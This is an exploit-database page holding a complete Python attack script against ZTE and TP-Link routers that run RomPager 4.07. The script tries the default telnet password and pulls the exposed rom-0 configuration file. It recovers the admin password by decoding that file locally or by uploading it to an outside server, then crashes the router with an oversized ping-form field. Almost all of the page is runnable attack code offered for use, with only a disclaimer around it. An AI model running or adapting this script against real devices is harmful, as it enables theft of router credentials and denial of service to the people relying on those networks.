ZTE / TP-Link RomPager Denial Of Service

2014.06.13
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: ZTE and TP-Link RomPager DoS Exploit # Date: 10-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # TP-Link TD-W8901G # TP-Link TD-W8101G # TP-Link TD-8840G # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86 # # Notes: Please note this exploit may contain errors, and # is provided "as it is". There is no guarantee # that it will work on your target router(s), as # the code may have to be adapted. # This is to avoid script kiddie abuse as well. # # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. # Author takes no responsibility for any kind of damage you cause. # # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # # Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ # Video: https://www.youtube.com/watch?v=1fSECo2ewoo # Dedicate to Nick Knight and Hood3dRob1n # # ./dos.py -i 192.168.1.1 import os import re import sys import time import urllib import base64 import httplib import urllib2 import requests import optparse import telnetlib import subprocess import collections import unicodedata class BitReader: def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7-n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num-1-i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits) class RingList: def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n] def filter_non_printable(str): return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9]) def banner(): return ''' \t\t _/_/_/ _/_/_/ \t\t _/ _/ _/_/ _/ \t\t _/ _/ _/ _/ _/_/ \t\t _/ _/ _/ _/ _/ \t\t_/_/_/ _/_/ _/_/_/ ''' def dos(host, password): while (1): url = 'http://' +host+ '/Forms/tools_test_1' parameters = { 'Test_PVC' : 'PVC0', 'PingIPAddr' : '\101'*2000, 'pingflag' : '1', 'trace_open_flag' : '0', 'InfoDisplay' : '+-+Info+-%0D%0A' } params = urllib.urlencode(parameters) req = urllib2.Request(url, params) base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '') req.add_header("Authorization", "Basic %s" %base64string) req.add_header("Content-type", "application/x-www-form-urlencoded") req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm") try: print '[~] Sending Payload' response = urllib2.urlopen(req, timeout=1) sys.exit(0) except: flag = checkHost(host) if flag == 0: print '[+] The host is still up and running' else: print '[~] Success! The host is down' sys.exit(0) break def checkHost(host): if sys.platform == 'win32': c = "ping -n 2 " + host else: c = "ping -c 2 " + host try: x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) time.sleep(1) return x except: pass def checkServer(host): connexion = httplib.HTTPConnection(host) connexion.request("GET", "/status.html") response = connexion.getresponse() server = response.getheader("server") connexion.close() time.sleep(2) if server == 'RomPager/4.07 UPnP/1.0': return 0 else: return 1 def checkPassword(host): print '[+] Checking for default password' defaultpass = 'admin' tn = telnetlib.Telnet(host, 23, 4) tn.read_until("Password: ") tn.write(defaultpass + '\n') time.sleep(2) banner = tn.read_eager() banner = regex(len(defaultpass)*r'.'+'\w+' , banner) tn.write("exit\n") tn.close() time.sleep(4) if banner == 'Copyright': print '[+] Default password is being used' dos(host, defaultpass) else: print '[!] Default Password is not being used' while True: msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower() try: if msg[0] == 'y': password = decodePasswordLocal(host) print '[*] Router password is: ' +password dos(host, password) break if msg[0] == 'n': password = decodePasswordRemote(host) print '[*] Router password is: ' +password dos(host, password) break else: print '[!] Enter a valid choice' except Exception, e: print e continue def decodePasswordRemote(host): fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) # If this URL goes down you might have to find one and change this function. # You can also use the local decoder. It might have few errors in getting output. url = 'http://198.61.167.113/zynos/decoded.php' # Target URL files = {'uploadedfile': open('rom-0', 'rb') } # The rom-0 file we wanna upload data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'} # Additional Parameters we need to include headers = { 'User-agent' : 'Python Demo Agent v1' } # Any additional Headers you want to send or include res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False ) res1 =res.content p = re.search('rows=10>(.*)', res1) if p: passwd = found = p.group(1) else: password = 'NotFound' return passwd def decodePasswordLocal(host): # Sometimes this might output a wrong password while finding the exact string. # print the result as mentioned below and manually find out fname = 'rom-0' if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve ("http://"+host+"/rom-0", fname) fpos=8568 fend=8788 fhandle=file('rom-0') fhandle.seek(fpos) chunk="*" amount=221 while fpos < fend: if fend-fpos < amount: amount = amount data = fhandle.read(amount) fpos += len(data) reader = BitReader(data) result = '' window = RingList(2048) while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[-offset] result += chr(char) window.append(char) result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore') # In case the password you see is wrong while filtering, manually print it from here and findout. #print result if 'TP-LINK' in result: result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK'; result = result.replace("TP-LINK", "") result = result[1:] if 'ZTE' in result: result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE'; result = result.replace("ZTE", "") result = result[1:] if 'tc160' in result: result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160'; result = result.replace("tc160", "") result = result[1:] return result def regex(path, text): match = re.search(path, text) if match: return match.group() else: return None def main(): if sys.platform == 'win32': os.system('cls') else: os.system('clear') try: print banner() print ''' |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n [*] Author: Osanda Malith Jayathissa [*] Follow @OsandaMalith [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. [!] Author takes no responsibility for any kind of damage you cause. ''' parser = optparse.OptionParser("usage: %prog -i <IP Address> ") parser.add_option('-i', dest='host', type='string', help='Specify the IP to attack') (options, args) = parser.parse_args() if options.host is None: parser.print_help() exit(-1) host = options.host x = checkHost(host) if x == 0: print '[+] The host is up and running' server = checkServer(host) if server == 0: checkPassword(host) else: print ('[!] Sorry the router is not running RomPager') else: print '[!] The host is not up and running' sys.exit(0) except KeyboardInterrupt: print '[!] Ctrl + C detected\n[!] Exiting' sys.exit(0) except EOFError: print '[!] Ctrl + D detected\n[!] Exiting' sys.exit(0) if __name__ == "__main__": main() #EOF


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top